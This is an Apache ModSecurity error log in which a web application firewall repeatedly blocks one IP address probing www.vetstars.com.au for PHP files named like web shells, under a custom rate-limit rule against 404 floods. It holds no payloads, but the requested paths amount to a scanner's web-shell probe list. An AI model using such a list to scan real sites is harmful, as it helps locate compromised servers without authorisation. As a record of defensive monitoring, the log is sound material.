[Sun Mar 29 23:25:07.135723 2026] [:error] [pid 23137:tid 23144] [client 68.155.145.150:12176] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws86.php"] [unique_id "aclEUxaWQa7LdZ_qGFYKAwAAAYU"]
[Sun Mar 29 23:25:07.563895 2026] [:error] [pid 32257:tid 32335] [client 68.155.145.150:12006] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aclEUyE3TArOFrUtgWppjwAAAJE"]
[Sun Mar 29 23:25:07.971602 2026] [:error] [pid 32257:tid 32319] [client 68.155.145.150:12002] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aclEUyE3TArOFrUtgWppkgAAAIE"]
[Sun Mar 29 23:25:08.390712 2026] [:error] [pid 23168:tid 23220] [client 68.155.145.150:11988] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aclEVGP8p0yRL8ot_2-8LwAAAhc"]
[Sun Mar 29 23:25:08.804926 2026] [:error] [pid 32257:tid 32330] [client 68.155.145.150:12243] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aclEVCE3TArOFrUtgWppnQAAAIw"]
[Sun Mar 29 23:25:09.250663 2026] [:error] [pid 23168:tid 23198] [client 68.155.145.150:12074] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aclEVWP8p0yRL8ot_2-8MgAAAgE"]
[Sun Mar 29 23:25:09.700849 2026] [:error] [pid 23168:tid 23214] [client 68.155.145.150:12230] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aclEVWP8p0yRL8ot_2-8NgAAAhE"]
[Sun Mar 29 23:25:10.096815 2026] [:error] [pid 32257:tid 32320] [client 68.155.145.150:12282] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aclEViE3TArOFrUtgWpppwAAAII"]
[Sun Mar 29 23:25:10.525923 2026] [:error] [pid 23168:tid 23198] [client 68.155.145.150:12227] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aclEVmP8p0yRL8ot_2-8PwAAAgE"]
[Sun Mar 29 23:25:10.965769 2026] [:error] [pid 32254:tid 32277] [client 68.155.145.150:12160] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "aclEVqug2IHuyGgCTn9mNAAAAA0"]
[Sun Mar 29 23:25:11.406483 2026] [:error] [pid 23284:tid 23305] [client 68.155.145.150:12100] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "aclEV4zBujdPHsq7wyTlvAAAApM"]
[Sun Mar 29 23:25:11.826904 2026] [:error] [pid 23168:tid 23211] [client 68.155.145.150:12271] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "aclEV2P8p0yRL8ot_2-8QQAAAg4"]
[Sun Mar 29 23:25:12.237789 2026] [:error] [pid 23284:tid 23286] [client 68.155.145.150:12280] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "aclEWIzBujdPHsq7wyTlxQAAAoA"]
[Sun Mar 29 23:25:12.628127 2026] [:error] [pid 23284:tid 23289] [client 68.155.145.150:11925] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "aclEWIzBujdPHsq7wyTlzgAAAoM"]
[Sun Mar 29 23:25:13.020126 2026] [:error] [pid 23168:tid 23220] [client 68.155.145.150:11943] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "aclEWWP8p0yRL8ot_2-8RQAAAhc"]
[Sun Mar 29 23:25:13.416841 2026] [:error] [pid 23167:tid 23193] [client 68.155.145.150:12236] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "aclEWRIAHJCFaHff3_fXcgAAAdc"]
[Sun Mar 29 23:25:13.827906 2026] [:error] [pid 32255:tid 32292] [client 68.155.145.150:11852] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xfun.php"] [unique_id "aclEWWnfn-AtRoMbquwXfAAAAEE"]
[Sun Mar 29 23:25:14.244379 2026] [:error] [pid 23167:tid 23183] [client 68.155.145.150:12281] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aclEWhIAHJCFaHff3_fXdwAAAc0"]
[Sun Mar 29 23:25:14.643276 2026] [:error] [pid 32255:tid 32313] [client 68.155.145.150:12065] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aclEWmnfn-AtRoMbquwXgAAAAFY"]
[Sun Mar 29 23:25:15.060940 2026] [:error] [pid 32359:tid 32385] [client 68.155.145.150:11978] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aclEWwMb8G3UzfQP3Wg7VAAAANg"]
[Sun Mar 29 23:25:15.484329 2026] [:error] [pid 23284:tid 23290] [client 68.155.145.150:12161] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aclEW4zBujdPHsq7wyTl6AAAAoQ"]
[Sun Mar 29 23:25:15.919099 2026] [:error] [pid 32255:tid 32293] [client 68.155.145.150:11935] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "aclEW2nfn-AtRoMbquwXhAAAAEI"]
[Sun Mar 29 23:25:16.328838 2026] [:error] [pid 32257:tid 32321] [client 68.155.145.150:12225] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "aclEXCE3TArOFrUtgWppsAAAAIM"]
[Sun Mar 29 23:25:16.770179 2026] [:error] [pid 23168:tid 23216] [client 68.155.145.150:12223] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "aclEXGP8p0yRL8ot_2-8TgAAAhM"]
[Sun Mar 29 23:25:17.257006 2026] [:error] [pid 32255:tid 32308] [client 68.155.145.150:12257] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/155.php"] [unique_id "aclEXWnfn-AtRoMbquwXjwAAAFE"]
[Sun Mar 29 23:25:17.687703 2026] [:error] [pid 32255:tid 32307] [client 68.155.145.150:12204] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "aclEXWnfn-AtRoMbquwXkQAAAFA"]
[Sun Mar 29 23:25:18.084251 2026] [:error] [pid 32257:tid 32318] [client 68.155.145.150:12183] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "aclEXiE3TArOFrUtgWppwgAAAIA"]
[Sun Mar 29 23:25:18.505589 2026] [:error] [pid 23284:tid 23298] [client 68.155.145.150:12124] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "aclEXozBujdPHsq7wyTmAQAAAow"]
[Sun Mar 29 23:25:18.916680 2026] [:error] [pid 32257:tid 32321] [client 68.155.145.150:12273] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "aclEXiE3TArOFrUtgWpp1gAAAIM"]
[Sun Mar 29 23:25:19.369291 2026] [:error] [pid 23284:tid 23301] [client 68.155.145.150:12163] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aclEX4zBujdPHsq7wyTmCwAAAo8"]
[Sun Mar 29 23:25:19.791189 2026] [:error] [pid 23284:tid 23299] [client 68.155.145.150:12287] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aclEX4zBujdPHsq7wyTmEwAAAo0"]
[Sun Mar 29 23:25:20.210519 2026] [:error] [pid 23284:tid 23306] [client 68.155.145.150:12239] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aclEYIzBujdPHsq7wyTmHgAAApQ"]
[Sun Mar 29 23:25:20.702936 2026] [:error] [pid 32257:tid 32337] [client 68.155.145.150:12231] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aclEYCE3TArOFrUtgWpp3AAAAJM"]
[Sun Mar 29 23:25:21.168111 2026] [:error] [pid 23284:tid 23310] [client 68.155.145.150:12198] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aclEYYzBujdPHsq7wyTmLQAAApg"]
[Sun Mar 29 23:25:21.659720 2026] [:error] [pid 23284:tid 23299] [client 68.155.145.150:12246] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aclEYYzBujdPHsq7wyTmNgAAAo0"]
[Sun Mar 29 23:25:22.080950 2026] [:error] [pid 32257:tid 32318] [client 68.155.145.150:12106] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aclEYiE3TArOFrUtgWpp3QAAAIA"]
[Sun Mar 29 23:25:22.489062 2026] [:error] [pid 32257:tid 32319] [client 68.155.145.150:12251] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aclEYiE3TArOFrUtgWpp3wAAAIE"]
[Sun Mar 29 23:25:22.967099 2026] [:error] [pid 32255:tid 32306] [client 68.155.145.150:12193] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aclEYmnfn-AtRoMbquwXoQAAAE8"]
[Sun Mar 29 23:25:23.406959 2026] [:error] [pid 23168:tid 23211] [client 68.155.145.150:12010] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aclEY2P8p0yRL8ot_2-8VgAAAg4"]
[Sun Mar 29 23:25:23.856820 2026] [:error] [pid 32257:tid 32326] [client 68.155.145.150:11913] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aclEYyE3TArOFrUtgWpp5wAAAIg"]
[Sun Mar 29 23:25:24.300000 2026] [:error] [pid 32257:tid 32342] [client 68.155.145.150:11989] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aclEZCE3TArOFrUtgWpp7gAAAJg"]
[Sun Mar 29 23:25:24.719546 2026] [:error] [pid 23168:tid 23216] [client 68.155.145.150:11931] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "aclEZGP8p0yRL8ot_2-8WAAAAhM"]
[Sun Mar 29 23:25:25.125769 2026] [:error] [pid 23168:tid 23221] [client 68.155.145.150:12249] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "aclEZWP8p0yRL8ot_2-8WwAAAhg"]
[Sun Mar 29 23:25:25.526976 2026] [:error] [pid 32255:tid 32304] [client 68.155.145.150:12169] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "aclEZWnfn-AtRoMbquwXqAAAAE0"]
[Sun Mar 29 23:25:25.969479 2026] [:error] [pid 23167:tid 23171] [client 68.155.145.150:12187] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww.php"] [unique_id "aclEZRIAHJCFaHff3_fXjgAAAcE"]
[Sun Mar 29 23:25:26.389976 2026] [:error] [pid 23250:tid 23262] [client 68.155.145.150:12237] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "aclEZpxrpj-dQjy1cvoV4gAAAko"]
[Sun Mar 29 23:25:26.819610 2026] [:error] [pid 32257:tid 32338] [client 68.155.145.150:12262] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "aclEZiE3TArOFrUtgWpqEQAAAJQ"]
[Sun Mar 29 23:25:27.242473 2026] [:error] [pid 8818:tid 8826] [client 68.155.145.150:12269] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "aclEZyCDvotZNSF0FBr0MAAAAUQ"]
[Sun Mar 29 23:25:27.638994 2026] [:error] [pid 23284:tid 23293] [client 68.155.145.150:12113] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vanda.php"] [unique_id "aclEZ4zBujdPHsq7wyTmbgAAAoc"]
[Sun Mar 29 23:25:28.058286 2026] [:error] [pid 23137:tid 23157] [client 68.155.145.150:12024] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclEaBaWQa7LdZ_qGFYKDAAAAZI"]
[Sun Mar 29 23:25:28.498162 2026] [:error] [pid 23250:tid 23266] [client 68.155.145.150:12104] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclEaJxrpj-dQjy1cvoV5gAAAk4"]
[Sun Mar 29 23:25:28.896882 2026] [:error] [pid 32257:tid 32319] [client 68.155.145.150:11991] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclEaCE3TArOFrUtgWpqJwAAAIE"]
[Sun Mar 29 23:25:29.323924 2026] [:error] [pid 23284:tid 23309] [client 68.155.145.150:11938] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "aclEaYzBujdPHsq7wyTmeQAAApc"]
[Sun Mar 29 23:25:29.762991 2026] [:error] [pid 32255:tid 32299] [client 68.155.145.150:12125] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aclEaWnfn-AtRoMbquwXrwAAAEg"]
[Sun Mar 29 23:25:30.231022 2026] [:error] [pid 23284:tid 23290] [client 68.155.145.150:12168] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aclEaozBujdPHsq7wyTmgQAAAoQ"]
[Sun Mar 29 23:25:30.659082 2026] [:error] [pid 23284:tid 23288] [client 68.155.145.150:12197] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aclEaozBujdPHsq7wyTmiAAAAoI"]
